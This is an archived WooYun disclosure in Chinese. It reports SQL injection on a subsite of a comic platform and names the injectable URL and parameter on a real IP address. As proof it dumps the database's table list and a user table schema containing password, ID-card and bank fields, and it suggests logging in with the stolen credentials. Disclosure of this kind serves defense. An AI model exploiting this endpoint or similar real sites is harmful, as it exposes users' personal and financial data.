乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-12-18： 积极联系厂商并且等待厂商认领中，细节不对外公开 2014-02-01： 厂商已经主动忽略漏洞，细节向公众公开
锋绘网#分站SQL注入(涉及2W用户资料)
#1：SQL注入,该站存在多出SQL注入http://121.52.220.27/news_detail.php?articleId=25
关注的人还是挺多的啦16W,比乌云多一倍啊,嘎嘎~
#1:漏洞证明
Database: fenghui[96 tables]+---------------------------+| 91_exchange_codes || cms_articles || cms_attachments || cms_auto_sort || cms_auto_sort_content || cms_block || cms_category || cms_category_content || cms_columns || cms_commends || cms_copyrights || cms_modules || cms_specials || cms_wallpapers || cms_words || comic_chapters || comic_comics || comic_comments || comic_creationChapters || comic_creationCopyrights || comic_creations || comic_favorites || comic_hits || comic_issues || comic_magazines || comic_modifyApplications || comic_pages || comic_percentages || comic_recommends || comic_units || comic_volumes || fenghui_sales || group_groups || group_members || group_posts || group_threads || log_action || log_comic || log_count || log_paihang || log_rechargePurchase || log_user || log_userComic || post_recommends || qplus_chapters || qplus_modules || qplus_recommends || sale_codeRelated || sale_codes || sale_coupons || special_topics || stat_currentDayStatistics || stat_dayStatistics || sys_configs || sys_editorGroups || sys_editors || sys_failedlogins || sys_levelPowers || sys_logins || uc_exchange_codes || user_OAuth || user_blocks || user_friends || user_jobs || user_jobusers || user_messages || user_purchaseRecords || user_rechargeRecords || user_reports || user_systemEmails || user_systemMessages || user_userSystemEmails || user_userSystemMessages || user_users || user_viewComics || v2_QR || v2_QR_comic || v2_flash || v2_irrigation_ditch || v2_magazine || v2_magazine_comic || vip_purchaseRecords || vip_rechargeRecords || zhuanti_answer || zhuanti_guestbook || zhuanti_question || zhuanti_shishang_vote || zhuanti_star_logo || zhuanti_star_vote || zhuanti_user || zhuanti_user_answer || zhuanti_vip || zhuanti_xiaoji_vote || zhuanti_xiongdun || zhuanti_xiongdun_favorite || zhuanti_xiuzhen_vote |+---------------------------+
Database: fenghuiTable: user_users[58 columns]+-------------------+----------------------+| Column | Type |+-------------------+----------------------+| activateCode | varchar(18) || activateStatus | tinyint(1) unsigned || address | varchar(100) || answer | varchar(100) || appId | int(11) unsigned || authContent | varchar(200) || authStatus | tinyint(1) unsigned || avatar | varchar(50) || bank | varchar(20) || bankAccount | varchar(20) || bankBranch | varchar(50) || bankIdentityCard | varchar(20) || bankName | varchar(10) || birthday | char(10) || celebrityNickname | varchar(20) || celebrityWork | varchar(100) || celebrityYears | varchar(10) || editorColumn | varchar(20) || editorMagazine | varchar(20) || editorNickname | varchar(20) || email | varchar(100) || fhCoin | int(8) unsigned || forgetCode | varchar(18) || form | tinyint(1) unsigned || gender | tinyint(1) unsigned || id | int(10) unsigned || identityCard | varchar(20) || isPainter | tinyint(1) unsigned || lastLoginIp | varchar(15) || lastLoginTime | int(10) unsigned || loginCount | int(10) unsigned || mobile | varchar(20) || nickname | varchar(50) || otherCelebrity | varchar(100) || password | varchar(32) || phone | varchar(20) || postCode | varchar(10) || pressAddress | varchar(100) || pressBook | varchar(200) || pressContact | varchar(20) || pressName | varchar(20) || profession | varchar(20) || pseudonym | varchar(20) || qq | varchar(50) || qqUsername | varchar(400) || question | varchar(100) || realName | varchar(50) || registerTime | int(10) unsigned || representative | varchar(100) || sinaUsername | varchar(400) || specialty | varchar(20) || status | tinyint(1) unsigned || studioCompany | varchar(20) || studioLeader | varchar(20) || studioName | varchar(20) || username | varchar(100) || vip | tinyint(1) unsigned || work | smallint(5) unsigned |+-------------------+----------------------+
涉及大量用户信息~
用注入得到的用户登录主站试试看~
过滤啊,拒绝脱裤~
未能联系到厂商或者厂商积极拒绝
